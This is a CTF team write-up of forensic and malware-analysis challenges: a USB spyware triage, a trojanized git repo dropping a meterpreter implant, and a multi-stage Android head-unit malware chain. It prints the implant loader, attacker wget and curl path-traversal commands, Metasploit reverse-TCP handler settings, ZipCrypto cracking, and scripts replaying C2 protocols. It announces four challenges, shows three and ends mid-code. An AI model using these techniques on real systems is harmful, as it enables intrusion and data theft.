All Writeups
Holmes CTF 2026: The Reichenbach Directive
Hack The Box | Holmes CTF 2026

The Reichenbach Directive

The combined team write-up for Paper Ghost, Poisoned Branch, Silent Passenger, and Whisper Chain.

34th Place 4 Sherlock challenges

Holmes CTF 2026 - The Reichenbach Directive

Our team placed 34th in Hack The Box Holmes CTF 2026. This combined write-up brings together our solved Sherlock challenge notes, investigation paths, tools, and flags.

Paper Ghost (Sherlock 04)

Summary

A KAPE triage (RegistryHives + LNK/JumpLists + SRUM) of Clara Voss's laptop CO-LT-0469 shows a contractor-planted Lexar USB stick carrying a fake "driver update" (update.exe) that installed spyware. Every answer comes from a standard Windows artifact: USBSTOR/WPD keys, UserAssist, the CapabilityAccessManager consent store, SRUM, and the Windows Search index.

Solution

Step 1: Map each question to an artifact

Timestamps below are UTC, exactly as stored (the host is on Pacific time, UTC−7 in August, so local time is 7 h earlier).

QArtifactLocationResult
1 First USB connectionUSBSTOR first-install property 0064SYSTEM\ControlSet001\Enum\USBSTOR\Disk&Ven_Lexar…\<serial>\Properties\{83da6326-…}\00642026-08-19 15:35:50
2 USB serialUSBSTOR instance key (minus the &0 suffix)same keyRS200000000627E4
3 Payload pathMic/webcam consent-store key name (# = \)NTUSER\…\CapabilityAccessManager\ConsentStore\microphone\NonPackagedE:\CO-LT-0469 update package\update.exe
4 Execution timeUserAssist, ROT13 value name, FILETIME at offset 60 (run count 1)NTUSER\…\Explorer\UserAssist\{CEBFF5CD-…}\Count2026-08-19 15:36:25
5 USB asset nameFriendlyName of the WPD device (also in SOFTWARE\Microsoft\Windows Portable Devices\Devices)SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUMCO-USB-0091
6 Mic capture startLastUsedTimeStart for update.execonsent store microphone2026-08-19 15:38:08
7 Webcam secondsLastUsedTimeStop − LastUsedTimeStart = 126.98 sconsent store webcam127
8 Outbound MBSRUM network table BytesSent = 172,064,531 for the payload's AppIdSRUDB.dat {973F5D5C-…}172.064531
9 CredentialsSystem_Search_AutoSummary of the indexed EXT-0419.pdf (Tom Ainsworth, DIOGENES ticketing developer)Windows.edb SystemIndex_PropertyStoretainsworth:D10g3n3s_T1ck3ts#2026

The timeline is consistent: USB in at 15:35:50, update.exe run 35 s later, microphone on at 15:38:08 (until 15:41:03), webcam 15:42:28–15:44:35, 172 MB sent in the 15:50 SRUM hour bucket, USB last arrival/removal at 15:51:06.

Step 2: One script, raw triage to all answers

Tested with Python 3.14.7, regipy 6.3.0, dissect.esedb 3.18. Run from the folder that contains PaperGhost/Triage/.

#!/usr/bin/env python3
"""Paper Ghost (Holmes CTF 2026, Sherlock 04) - one-shot solver.

Input : KAPE triage of cvoss's laptop (RegistryHives + LNK/JumpLists + SRUM + Search index)
Deps  : pip install regipy dissect.esedb
Usage : python solve.py [path/to/Triage/C]      (timestamps are UTC, as stored in the artifacts)
"""
import codecs, struct, sys, tempfile
from datetime import datetime, timedelta, timezone
from pathlib import Path

from dissect.esedb import EseDB
from regipy.recovery import apply_transaction_logs
from regipy.registry import RegistryHive

C = Path(sys.argv[1] if len(sys.argv) > 1 else "PaperGhost/Triage/C")
CFG = C / "Windows/System32/config"
USR = C / "Users/cvoss"
tmp = Path(tempfile.mkdtemp())


def raw(v):  # regipy hands binary values back as bytes or as a hex string
    return bytes.fromhex(v) if isinstance(v, str) else v


def ts(t):  # FILETIME int (or regipy datetime) -> 'YYYY-MM-DD hh:mm:ss' (UTC, truncated)
    if isinstance(t, int):
        t = datetime(1601, 1, 1, tzinfo=timezone.utc) + timedelta(microseconds=t // 10)
    return t.strftime("%Y-%m-%d %H:%M:%S")


def replayed(hive):  # SYSTEM/SOFTWARE were copied dirty: apply LOG1+LOG2 first
    out = tmp / hive
    apply_transaction_logs(str(CFG / hive), str(CFG / f"{hive}.LOG1"),
                           str(CFG / f"{hive}.LOG2"), restored_hive_path=str(out))
    return RegistryHive(str(out))


# --- Q1, Q2: USBSTOR (the only mass-storage device is the Lexar stick) -------------------
system = replayed("SYSTEM")
dev = next(system.get_key(r"\ControlSet001\Enum\USBSTOR").iter_subkeys())
inst = next(dev.iter_subkeys())
serial = inst.name.rsplit("&", 1)[0]                       # strip Windows' "&0" instance suffix
first = system.get_key(
    rf"\ControlSet001\Enum\USBSTOR\{dev.name}\{inst.name}\Properties"
    r"\{83da6326-97a6-4088-9453-a1923f573b29}\0064")       # 0064 = first install
first_connect = ts(next(first.iter_values()).value)         # regipy already decodes it to a datetime

# --- Q5: asset tag = device name Windows showed for the stick ----------------------------
wpd = system.get_key(r"\ControlSet001\Enum\SWD\WPDBUSENUM")
asset = next(v.value for k in wpd.iter_subkeys() if "USBSTOR" in k.name
             for v in k.iter_values() if v.name == "FriendlyName")

# --- Q3, Q6, Q7: NTUSER ConsentStore (mic + webcam), key name = payload path with '#'=='\' ---
ntuser = RegistryHive(str(USR / "NTUSER.DAT"))
cs = r"\Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore"


def consent(cap):
    for app in ntuser.get_key(rf"{cs}\{cap}\NonPackaged").iter_subkeys():
        v = {x.name: x.value for x in app.iter_values()}
        return app.name.replace("#", "\\"), v["LastUsedTimeStart"], v["LastUsedTimeStop"]


payload, mic_start, _ = consent("microphone")
_, cam_start, cam_stop = consent("webcam")
webcam_secs = round((cam_stop - cam_start) / 1e7)

# --- Q4: UserAssist (ROT13 names): last-run FILETIME lives at offset 60 of the 72-byte value ---
ua = ntuser.get_key(r"\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist"
                    r"\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count")
executed = next(ts(struct.unpack_from("<Q", raw(v.value), 60)[0]) for v in ua.iter_values()
                if codecs.decode(v.name, "rot13").lower() == payload.lower())

# --- Q8: SRUM network usage ({973F5D5C...}) -> BytesSent for the payload's AppId ---------
srum = EseDB(open(C / "Windows/System32/SRU/SRUDB.dat", "rb"))
tail = payload.split(":", 1)[1].lower()                    # '\co-lt-0469 update package\update.exe'
ids = set()
for r in srum.table("SruDbIdMapTable").records():
    blob = r.get("IdBlob")
    if isinstance(blob, bytes) and blob.decode("utf-16le", "ignore").rstrip("\0").lower().endswith(tail):
        ids.add(r.get("IdIndex"))                          # HarddiskVolume5 path (E:), not C:
sent = sum(r.get("BytesSent") or 0 for r in srum.table("{973F5D5C-1D90-4944-BE8E-24B94231A174}").records()
           if r.get("AppId") in ids)
mb = f"{sent / 1e6:.6f}"                                   # decimal megabytes

# --- Q9: Windows Search index keeps the text of PDFs Voss opened (System_Search_AutoSummary) ---
edb = EseDB(open(C / "ProgramData/Microsoft/search/data/applications/windows/Windows.edb", "rb"))
ps = edb.table("SystemIndex_PropertyStore")
col = {c.name.split("-", 1)[-1]: c.name for c in ps.columns}
creds = ""
for r in ps.records():
    url, text = r.get(col["System_ItemUrl"]), r.get(col["System_Search_AutoSummary"])
    if url and text and "DIOGENES_26" in url and "Password:" in text:
        u = text.split("Username:")[1].split()[0]
        p = text.split("Password:")[1].split()[0]
        creds = f"{u}:{p}"

for i, (q, a) in enumerate([
        ("First USB connection (UTC)", first_connect), ("USB serial number", serial),
        ("Payload path", payload), ("Payload executed (UTC)", executed),
        ("USB asset name", asset), ("Microphone capture start (UTC)", ts(mic_start)),
        ("Webcam stream (seconds)", webcam_secs), ("Outbound MB to C2", mb),
        ("Developer credentials", creds)], 1):
    print(f"Q{i}  {q:<32} {a}")

Output:

Q1  First USB connection (UTC)       2026-08-19 15:35:50
Q2  USB serial number                RS200000000627E4
Q3  Payload path                     E:\CO-LT-0469 update package\update.exe
Q4  Payload executed (UTC)           2026-08-19 15:36:25
Q5  USB asset name                   CO-USB-0091
Q6  Microphone capture start (UTC)   2026-08-19 15:38:08
Q7  Webcam stream (seconds)          127
Q8  Outbound MB to C2                172.064531
Q9  Developer credentials            tainsworth:D10g3n3s_T1ck3ts#2026

Step 3: Traps worth knowing

  • Asset name (Q5). DIOGENES_26 and EXT-0419 show up as LNKs, but they are folders/PDFs on the local C:\Users\cvoss\Desktop, not the USB. WPDBUSENUM lists two entries for the stick: CO-USB-0091 (the Lexar device, the asset tag, which matches the CO-LT-0469 naming scheme) and VTOYEFI (the Ventoy EFI partition label).
  • SRUM (Q8). The same hour bucket has an unnamed AppId 1 with 177.89 MB sent. That is SRUM's unattributed system bucket; it appears in every hour (for example 489,535 B at 08:16 on Aug 20), so it is not C2. The payload is AppId 436 (\Device\HarddiskVolume5\co-lt-0469 update package\update.exe), the only network row attributed to it. SRUM stores no destination IPs, so attribution is by process. SRUDB.dat is flagged dirty, but its rows run through 2026-08-20 08:16, so the Aug 19 data is present.
  • Hive logs. SYSTEM was copied dirty (sequence 361 ≠ 360), so the script replays LOG1/LOG2. Replaying (319 entries) does not change any answer here; the un-replayed hive gives the same USB values. NTUSER.DAT is clean and its LOG2 replays to an identical file.
  • UserAssist (Q4). It is not wiped on this host; the entry is ROT13 (R:\PB-YG-0469 hcqngr cnpxntr\hcqngr.rkr) and easy to miss when scanning for plain names.
  • Search index (Q9). The two CSVs (DIOGENES_Contractor_Assignments.csv, IT_Asset_Inventory.csv) are indexed with only their header line. The credentials are in the PDF text; Password: occurs exactly once in the whole index.

Flag

Q1  2026-08-19 15:35:50
Q2  RS200000000627E4
Q3  E:\CO-LT-0469 update package\update.exe
Q4  2026-08-19 15:36:25
Q5  CO-USB-0091
Q6  2026-08-19 15:38:08
Q7  127
Q8  172.064531
Q9  tainsworth:D10g3n3s_T1ck3ts#2026

Poisoned Branch (Sherlock 05)

Summary

A Sherlock-style DFIR challenge with two evidence sources: a UAC triage bundle + full home-directory backup from Tom Ainsworth's Linux workstation (LT-TAinsworth), and a live spawned VM hosting the attacker's exposed C2 support infrastructure. Tom cloned a trojanized "internal" pip-style repo (diogenes-ticket-parser) whose install path reconstructs and launches an ELF meterpreter implant via an XOR trick (decoy JPEG ⊕ "calibration" blob = payload). The implant calls back to a Metasploit handler; the attacker browses Tom's filesystem, steals an HR roster PDF, then cleans up. Pivoting to the attacker's own exposed Flask file-server (LFI in a ?file= download parameter) and ultimately to a real shell on that box (via a private key the LFI could read) surfaces the remaining artifacts, including a password-protected loot archive cracked with a known-plaintext attack.

Solution

Step 1 — Identify the malicious repo and reconstruct the payload (flags 1–4)

Tom's home directory (Tom.zip) contains several git repos under Projects/. Four are genuine upstream clones (csvtomd, json-to-csv, dlt) or legitimate internal tools (diogenes-breakroom-roster); diogenes-ticket-parser is the odd one out — its git remote points at an internal Gitea (devforge.internal:3000) but its own README tells the victim to git clone it from a public-looking github.com/diogenes-support/... URL, and its single commit is authored by a fictitious external contractor:

git -C diogenes-ticket-parser log --all --format='%H %an <%ae> %s'
# 81d8e74... Sebastain Moran <cbass.Moran@blackpearl2026.htb>  Initial project import

ticket_parser.py imports src/ticket_parser/telemetry.py, whose validate_environment() does the actual dirty work:

image_data       = (source_dir / "diogenes.jpg").read_bytes()      # decoy image
calibration_data = (source_dir / "calibration.bin").read_bytes()   # "encrypted" payload
reconstructed    = repeating(image_data, calibration_data)         # repeating-key XOR
(Path.home() / ".cache" / ".ticket-parser" / ".integrity").write_bytes(reconstructed)
subprocess.run(b64decode(_CALIBRATION).decode(), shell=True, ...)
# -> chmod +x ~/.cache/.ticket-parser/.integrity; ~/.cache/.ticket-parser/.integrity 2>&1 &

file on the reconstructed artifact confirms it's a real ELF (static-pie linked, with debug_info — consistent with a compiled meterpreter/mettle payload, not a raw shell script).

#FlagAnswer
1Malicious repository namediogenes-ticket-parser
2Author emailcbass.Moran@blackpearl2026.htb
3File holding the encrypted payloadcalibration.bin
4Full path of the C2 implant/home/Tom/.cache/.ticket-parser/.integrity

Step 2 — Live process/network state (flags 5–6)

UAC's live-response captures give the running implant's socket directly:

$ cat live_response/network/ss_-tanp.txt
ESTAB  0  0  192.168.0.21:50878  203.0.113.10:31337  users:((".integrity",pid=1514,fd=4))
#FlagAnswer
5Callback port31337
6Implant PID1514

Step 3 — Reconstruct the attack timeline from auditd (flags 7–10)

[root]/var/log/audit/audit.log has an execve watch on Tom's UID. Pairing each SYSCALL/EXECVE record by (timestamp, audit-id) and hex-decoding the EXECVE arguments (auditd hex-encodes any arg containing special bytes, here including an embedded newline) reconstructs the attacker's interactive shell over the implant:

# match SYSCALL(syscall=59)+EXECVE records by (ts, audit-id), hex/quoted-decode argv
# see full script used in-session; key lines below
[14:26:40] pid=1520 ppid=1516 wget -q --header=Cookie: X-Operator-Auth=napoleon_moran_1894 \
           -O authorized_keys http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub
[14:34:50] pid=1528 ppid=1525 wget ... http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub
[14:40:57] pid=1551 ppid=1549 rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf

The first wget uses the hostname (fails to resolve without a hosts entry — hence "attempted"); the second falls back to the raw IP once the attacker realized the hostname wouldn't resolve on the target.

#FlagAnswer
7URL:PORT tried before IP:PORTBlackPearl2026.htb:9999
8Cookie/Token name for attacker's web serverX-Operator-Auth=napoleon_moran_1894
9Command that deleted a filerm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
10PPID of that command1549

Step 4 — Pivot to the attacker's exposed server (flags 11–12)

Port 9999 on the spawned VM is a Flask app ("Moran File Exchange") gated by the exact cookie recovered above, with a path-traversal download route:

COOKIE_NAME, COOKIE_VALUE = "X-Operator-Auth", "napoleon_moran_1894"
PUBLIC_DIR = Path("/home/moran/Flask_server/public")
target_file = PUBLIC_DIR / requested_file        # pathlib silently drops PUBLIC_DIR
if not target_file.is_file(): return 404          #   if requested_file is absolute
return send_file(target_file, ...)

Two traversal properties matter: ../../<path> escapes PUBLIC_DIR to anywhere under /home/moran, and — because Path.joinpath discards the left side when the right side is absolute — an absolute file= value reads anything the moran user can read, system-wide:

curl --resolve BlackPearl2026.htb:9999:<VM_IP> \
     -H 'Cookie: X-Operator-Auth=napoleon_moran_1894' \
     'http://BlackPearl2026.htb:9999/download?file=/home/moran/.msf4/history'
#   exit; use exploit/multi/handler; set lport 31337; set lhost blackpearl2026.htb
#   set payload linux/x64/meterpreter_reverse_tcp; run

curl ... '.../download?file=/home/moran/.msf4/meterpreter_history'
#   ... search -d ONBOARDING -f *.pdf ... download Gov_HR_Continuity_Emergency_Callout_Roster.pdf
#FlagAnswer
11Command declaring the implant's architectureset payload linux/x64/meterpreter_reverse_tcp
12Command locating a specific directory+file combosearch -d ONBOARDING -f *.pdf

Step 5 — Real shell + known-plaintext zip attack (flags 13–15)

The download route runs as moran, so the same absolute-path LFI can read files moran owns even at 0600 — including their own private key:

curl ... '.../download?file=/home/moran/.ssh/id_rsa' > moran_id_rsa
chmod 600 moran_id_rsa
ssh -i moran_id_rsa moran@<VM_IP> \
  "find /home/moran -iname '*roster*' -o -iname '*loot*' -o -iname '*exfil*'"
# -> /home/moran/Exfiltrated_Loot/LOOT.zip

LOOT.zip (cvoss_exfil, the roster PDF, README.txt) is password-protected. An unencrypted copy of README.txt was left sitting next to the zip on disk (an opsec mistake — the very README says "remove remnants"). Same plaintext + same size (83 bytes) inside the zip is exactly what a Biham–Kocher known-plaintext attack needs — no password required at all, just the internal ZipCrypto keystream state:

# plaintext must match the *compressed* bytes actually encrypted (deflate, level>=1 for this input)
python3 -c "import zlib; d=open('README.txt','rb').read(); \
  open('readme.deflate','wb').write(zlib.compressobj(6, zlib.DEFLATED, -15).compress(d) + b'')"
bkcrack -C LOOT.zip -c README.txt -p readme.deflate
#   Keys: 85b6bbc1 27824945 ce665bee
bkcrack -C LOOT.zip -k 85b6bbc1 27824945 ce665bee -D decrypted.zip
unzip decrypted.zip

cvoss_exfil turns out to be a harvested credential (tainsworth:d10g3n3s_T1ck3ts#2026:forever) — not itself a flag, but confirms the "false employee" pretext from the story PDF. The roster PDF (DIOGENES HR CONTINUITY — Emergency Call-Out Roster) has one row with its Position field literally replaced with REDACTED and Handling: CONFIDENTIAL:

DIO-1648  Sarah Kemp  skemp  Identity Operations  REDACTED  Tier 1
          +44 7700 900 317  Flat 6, Ashdown House, Palace Court, London W2 4LS  CONFIDENTIAL
#FlagAnswer
13File holding the exfiltrated documentsLOOT.zip
14Person with redacted positionSarah Kemp
15Their addressFlat 6, Ashdown House, Palace Court, London W2 4LS

Flags

1  diogenes-ticket-parser
2  cbass.Moran@blackpearl2026.htb
3  calibration.bin
4  /home/Tom/.cache/.ticket-parser/.integrity
5  31337
6  1514
7  BlackPearl2026.htb:9999
8  X-Operator-Auth=napoleon_moran_1894
9  rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
10 1549
11 set payload linux/x64/meterpreter_reverse_tcp
12 search -d ONBOARDING -f *.pdf
13 LOOT.zip
14 Sarah Kemp
15 Flat 6, Ashdown House, Palace Court, London W2 4LS

Tools used

git, Python 3 (re/collections for audit-log correlation, zlib for deflate matching), curl --resolve (hostname pinning without touching /etc/hosts), ssh, unzip/zipinfo, zip2john/john (ruled out dictionary attack), bkcrack 1.8.1 (known-plaintext ZipCrypto key recovery), nmap.

Lessons

  • pathlib's Path / other silently discards the left operand when other is

absolute — a very common source of "traversal-protected" download endpoints that are actually full arbitrary-file-read when the input isn't rejected for a leading /.

  • A service that reads files "as" a low-privileged user still exposes that user's own

0600 secrets (SSH keys, history files) — file-permission bits don't help against an LFI running under the same UID that owns the target file.

  • Never leave an unencrypted staging copy next to an encrypted deliverable: even 83

bytes of matching plaintext is enough for a Biham–Kocher known-plaintext attack to recover full ZipCrypto keys, no password guessing needed.

Silent Passenger

Summary

A 1GB Allwinner Android head-unit firmware image (firmware.zip) hides a five-stage malware chain: a privileged MQTT-driven APK installer silently drops an app, which reflectively assembles and downloads three further DEX stages over a custom RSA-encrypted HTTP protocol, ending in a live SOCKS-style proxy C2 exposed on the challenge's docker ports. All 20 flags were solved by combining static reversal (jadx decompilation of five APK/DEX stages) with live interaction against the provided IP:PORT docker services — replaying the malware's own MQTT, HTTP and raw TCP protocols in Python rather than running the APK anywhere.

Flags

#Question (short)Flag
1Privileged package responsible for the unauthorized install/system/priv-app/TWCore/TWCore.apk:d7569563cd0491e76d28a1c6a9929234ffffcf035194d2288d888dced7aa11c2
2System property checked alongside locale for region selectionro.com.google.gmsversion
3MQTT service + credentials for the affected region`tcp://mqtt.car.cardoor.cn:1883\dofun:dofun666666`
4MQTT topic filter carrying update instructionsdofun/car/config/#
5Package delivered through the updatercom.tw.jar1:12:6c2e34b30da42085240ede53ab6107d4
6Reflective entry point + campaign channelcom.c.j.qbh.wa:2039
7SHA-256 of the reconstructed next stagecf5c8c624967775230573a5a552e2e4e2b3653f2362e8c9b66a801e3b251f37c
8Version the stage reports to its update infra1.7
9API endpoint hidden in the update request/api/rsaUpdate
10Host-independent path of the next object/vr34der34/dex3.68.png
11SHA-256 of the executable archive recovered from that object79e01a591c81554b57e0baaf877ca0a1a1f86f39d38973faa1580089b675838d
12First config request-target of the control stage/api/init?configVersion=3.8&rsa=1&channelId=2039
13UID assigned by the registration service00005bp
14Product:task:version tuple assigned to the implant4532:34337681:1787907664
15Script op + field that delivers the final moduleloadlib2:url
16SHA-256 of the final downloaded module906734ebb9a274c5c83a22a4475e27354857d7b5b62a4ab6bb5d8d365692e963
17DEX method descriptor of the module entry point(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;IIII)V
18Four ints passed to the entry point9999,7777,8888,20000
19Auth frame sent when opening the primary command channel33000000420000000730303030356270
20Coordinates where the relay was parked51.4997000,-0.1608000

Solution

Step 1 — Unpack the firmware and mount the system partition (Flags 1–4)

The zip contains a History.txt build log plus five raw partition blobs. 5a2f8d64-....{0,1,2} is a split ext4 system image; the other two blobs (597b623a-..., 5d1809fc-...) are uniform high-entropy at every offset (no boot/partition magic anywhere) — genuinely encrypted userdata, a dead end.

unzip firmware.zip -d fw
cat fw/5a2f8d64-bf39-11e9-abb7-3733648aa093.{0,1,2} > fw/system.img
debugfs -R "rdump / fw/sys" fw/system.img

fw/sys/priv-app/TWCore/TWCore.apk is the only priv-app with sharedUserId="android.uid.system" and INSTALL_PACKAGES — the privileged installer (flag 1, path + SHA-256 of the APK).

J=~/Security/Tools/jadx/bin/jadx
$J -q -d dec/TWCore fw/sys/priv-app/TWCore/TWCore.apk
grep -rn "SystemProperties\|MqttAsyncClient" dec/TWCore/sources/com/tw/core

Reading com/tw/core/e/e.java (lB()) shows the region switch compares SystemProperties.get("ro.com.google.gmsversion") against the device locale (flag 2). com/tw/core/a/a.java hard-codes the China-region broker tcp://mqtt.car.cardoor.cn:1883 and com/tw/core/f/d.java the credentials dofun:dofun666666 (flag 3). com/tw/core/app/a.java builds the subscribed topic dofun/car/config/# (flag 4), confirmed against the live broker on the challenge's :31801 port.

Step 2 — Trigger the live MQTT broker for the drop config (Flag 5)

TWCore.apk:31801 is a real Mosquitto-style broker. dofun:dofun666666 can publish anything but is subscribe-denied at QoS 1 — QoS 0 works and reveals a retained message on the app-config topic:

import paho.mqtt.client as mqtt, base64, json, time

msgs = {}
def on_connect(c,u,f,rc,*a): c.subscribe('dofun/car/config/#', 0)
def on_message(c,u,m): msgs[m.topic] = m.payload

c = mqtt.Client(client_id='car-real')
c.username_pw_set('dofun', 'dofun666666')
c.on_connect, c.on_message = on_connect, on_message
c.connect('154.57.164.82', 31801, 15)
c.loop_start(); time.sleep(4); c.loop_stop()

payload = msgs['dofun/car/config/upgrade'].decode('latin1')
print(json.loads(base64.b64decode(payload[22:])))
# {"package": "com.tw.jar1", "flag": 12, "path": "http://127.0.0.1/payloads/jarservice-v1.12.apk",
#  "key": "6c2e34b30da42085240ede53ab6107d4", "not_exist_install": true, "type": 0}

That's flag 5: com.tw.jar1:12:6c2e34b30da42085240ede53ab6107d4 (package:flag:md5). Fetching that URL against the challenge's plain-HTTP docker port (:31398) required the Host: 127.0.0.1 header — the backend routes by SNI/Host, not by literal IP:

curl -H 'Host: 127.0.0.1' http://154.57.164.82:31398/payloads/jarservice-v1.12.apk -o jar1.apk
md5sum jar1.apk   # matches 6c2e34b30da42085240ede53ab6107d4

Step 3 — Reverse the dropped app's obfuscated loader (Flags 6–7)

com.tw.jar1's App.onCreate() calls com.x.zg.ifz.t(context), which XOR-decodes a hard-coded campaign id and hands off to a worker thread (ifz.t → b.run). b.run reflectively loads a class assembled from 30 byte[] chunks (c.b,c.c,c.d,d.b,...l.d) scattered across obfuscated classes c–l.

import re, struct, io, hashlib

def arrs(cls):
    txt = open(f'dec/jar1/sources/com/x/zg/{cls}.java').read()
    return {n: bytes(int(x) & 0xff for x in
             re.search(rf'byte\[\]\s+{n}\s*=\s*\{{([^}}]*)\}}', txt)
                .group(1).replace('\n', '').split(',') if x.strip())
            for n in ('b', 'c', 'd')}

order = [v for cls in 'cdefghijkl' for v in arrs(cls).values()]
buf = bytearray()
for i, arr in enumerate(order):
    buf += bytes(b ^ ((30 - i) & 0xff) for b in arr)

r = io.BytesIO(bytes(buf))
r.read(4)                     # float, unused
r.read(4)                     # int, unused
def readUTF(r):
    n = struct.unpack('>H', r.read(2))[0]
    return r.read(n).decode()

cls_name, method = readUTF(r), readUTF(r)   # com.c.j.qbh, wa   -> flag 6
dex = r.read()
open('stage2.jar', 'wb').write(dex)
print(cls_name + '.' + method + ':2039')        # flag 6
print(hashlib.sha256(dex).hexdigest())          # flag 7

Class + method + channel gives flag 6: com.c.j.qbh.wa:2039. The reconstructed archive's hash is flag 7: cf5c8c624967775230573a5a552e2e4e2b3653f2362e8c9b66a801e3b251f37c.

Step 4 — Decompile stage 2 and replay its RSA update protocol (Flags 8–11)

com.c.j.qbh.wa starts a thread that builds an RSA-PKCS1v1.5-encrypted JSON request to /api/rsaUpdate, obfuscated behind a path-mangling scheme (/apiv2/<hex> = double-XOR + timestamp + nonce). All strings in this stage are a static char - N cipher (a.a(literal, N)), decoded in bulk with a small script rather than by hand.

import time, random, json, uuid, urllib.request, ssl
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

pub  = RSA.import_key(open('rsa_pub.der', 'rb').read())   # extracted from r.a byte[] literal
priv = RSA.import_key(open('rsa_priv.der', 'rb').read())  # extracted from r.b byte[] literal
enc, dec = PKCS1_v1_5.new(pub), PKCS1_v1_5.new(priv)

def rsa_enc(s):
    b = s.encode(); return b''.join(enc.encrypt(b[i:i+117]) for i in range(0, len(b), 117))
def rsa_dec(b):
    return b''.join(dec.decrypt(b[i:i+128], b'') for i in range(0, len(b), 128))

def bxor(s, key):
    return bytes((s.encode()[i] ^ key.encode()[i % len(key)]) & 0xff for i in range(len(s)))
def build_path(endpoint="/api/rsaUpdate"):
    ts, rnd = int(time.time()), random.randint(10000, 99999)
    inner = bxor(endpoint, str(rnd)).hex()
    mid = f'{inner}|{ts}|{rnd}'
    return "/apiv2/" + bxor(mid, "Mu^38Ydeo233Uowd").hex()

body = json.dumps({"userId": uuid.uuid4().hex, "dexVersion": "1.0", "dexType": 1,
                    "channelId": "2039", "packageName": "com.tw.jar1", "appVersion": 12})
req = urllib.request.Request(f'http://154.57.164.82:31398{build_path()}',
                              data=rsa_enc(body), method='POST',
                              headers={'Host': 'a1.xshaon123.sbs'})
resp = urllib.request.urlopen(req, timeout=10).read()
print(rsa_dec(resp).decode())
# {"code":200,"data":{"dexUrl":"http://127.0.0.1/vr34der34/dex3.68.png","dexVersion":3.68,"status":0}}

The stage's own version literal (m.java, field f) is flag 8: 1.7. The concealed endpoint is flag 9: /api/rsaUpdate. The dexUrl in the decrypted response gives flag 10: /vr34der34/dex3.68.png.

The "png" is a fake extension: c.a() in stage2 reads 1 marker byte + a 4-byte float, then XORs the rest with int(float * 100) & 0xff:

import struct, hashlib

raw = urllib.request.urlopen(urllib.request.Request(
    'http://154.57.164.82:31398/vr34der34/dex3.68.png',
    headers={'Host': '127.0.0.1'})).read()

r = io.BytesIO(raw)
r.read(1)
flt = struct.unpack('>f', r.read(4))[0]
key = int(flt * 100) & 0xff
dex = bytes(b ^ key for b in r.read())
print(hashlib.sha256(dex).hexdigest())  # flag 11

Flag 11: 79e01a591c81554b57e0baaf877ca0a1a1f86f39d38973faa1580089b675838d.

Step 5 — Register with the control stage's C2 (Flags 12–16)

This archive (stage 3) is a full ad-fraud "control SDK" (com.ast.sdk / com.a.b.a) with its own RSA keypair and JSON protocol: GET /api/init for config, then a device-registration POST /cpc/api/task.

# GET /api/init?configVersion=3.8&rsa=1&channelId=2039   -> flag 12
target = "/api/init?configVersion=3.8&rsa=1&channelId=2039"
resp = urllib.request.urlopen(urllib.request.Request(
    f'http://154.57.164.82:31398{target}',
    headers={'Host': 'a1.xshaon123.sbs'})).read()
config = json.loads(rsa_dec(resp))   # new hosts, reportApi, taskApi...

# UID via /cpc/api/proxy/origin
uid = json.loads(urllib.request.urlopen(urllib.request.Request(
    'http://154.57.164.82:31398/cpc/api/proxy/origin',
    headers={'Host': 't2.tshuoah1.xyz'})).read())['data']   # "00005bp" -> flag 13

# POST /cpc/api/task with RSA-encrypted device+app blob
body = json.dumps({"absDevice": {"model": "QUAD-CORE T3 p1", "uid": uid},
                    "appInfo": {"packageName": "com.tw.jar1", "appVersion": 12},
                    "channelId": "2039", "dexVersion": "3.68", "configVersion": "3.82"})
resp = urllib.request.urlopen(urllib.request.Request(
    'http://154.57.164.82:31398/cpc/api/task', data=rsa_enc(body), method='POST',
    headers={'Host': 't2.tshuoah1.xyz'})).read()
print(rsa_dec(resp).decode())
# {"code":200,"data":{"orderId":20260001,"tasks":[{"productId":4532,"taskId":34337681,"version":1787907664,"rank":10}]}}

Flag 13: 00005bp. Flag 14: 4532:34337681:1787907664 (productId:taskId:version).

Fetching the actual task script (GET /cpc/api/xml?productId=4532) returns a JSON-embedded script object with "tagName":"loadlib2" and a url/md5 pair. Matching it against cf.java's task-type map ("loadlib2" → bn.class) and reading bn.a()'s field mapping shows the module is fetched from field url under operation loadlib2 — flag 15: loadlib2:url.

curl -H 'Host: 127.0.0.1' http://154.57.164.82:31398/vr34der34/sh66.io -o module.jar
sha256sum module.jar   # flag 16

Flag 16: 906734ebb9a274c5c83a22a4475e27354857d7b5b62a4ab6bb5d8d365692e963.

Step 6 — Decompile the final module and reconstruct its live auth frame (Flags 17–19)

module.jar is com.miyc.transfer — a raw SOCKS-style proxy client. The task's params array gives its exact invocation:

Client.start(Context, "127.0.0.1", "1002", 9999, 7777, 8888, 20000)

Client.start(Context, String, String, int, int, int, int) is flag 17 (as a DEX descriptor: (Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;IIII)V). The four trailing ints are flag 18: 9999,7777,8888,20000.

start() eventually opens class e — a socket to (host, port1) that writes an auth frame the instant it connects:

this.f = u.a(g.h, str2.getBytes());   // g.h = 51 (0x33), str2 = uid
// u.a(byte b, byte[] data):
//   [b][4-byte-BE(66)][4-byte-BE(len(data))][data]
def a4(i): return i.to_bytes(4, 'big')
uid = b"00005bp"                      # from flag 13
frame = bytes([51]) + a4(66) + a4(len(uid)) + uid
print(frame.hex())   # flag 19

Flag 19: 33000000420000000730303030356270. Sending this exact frame to the challenge's raw TCP port :32179 confirmed it live — the server replied with a real relay instruction, proving :32179 is the deployed C2 for this "port 9999" role.

Step 7 — Complete the live relay to recover the final task's coordinates (Flag 20)

The :32179 response decodes (per e.c()'s marker g.e = 0x30) to a 4-byte connection id and an 8-byte value that u.b()/u.a() render as a dotted string — here 127.0.0.1, the loopback-styled relay target the infected device is told to connect out to. The fifth docker port, :31139, turned out to be that relay target — reachable by connecting there and writing just the 4-byte connection id, exactly as com.miyc.transfer.a.d's worker does. This only worked while the primary :32179 session was still open, so both legs had to run concurrently:

import socket, threading, time

def a4(i): return i.to_bytes(4, 'big')
uid = b"00005bp"
auth = bytes([51]) + a4(66) + a4(len(uid)) + uid
state = {}

def primary():
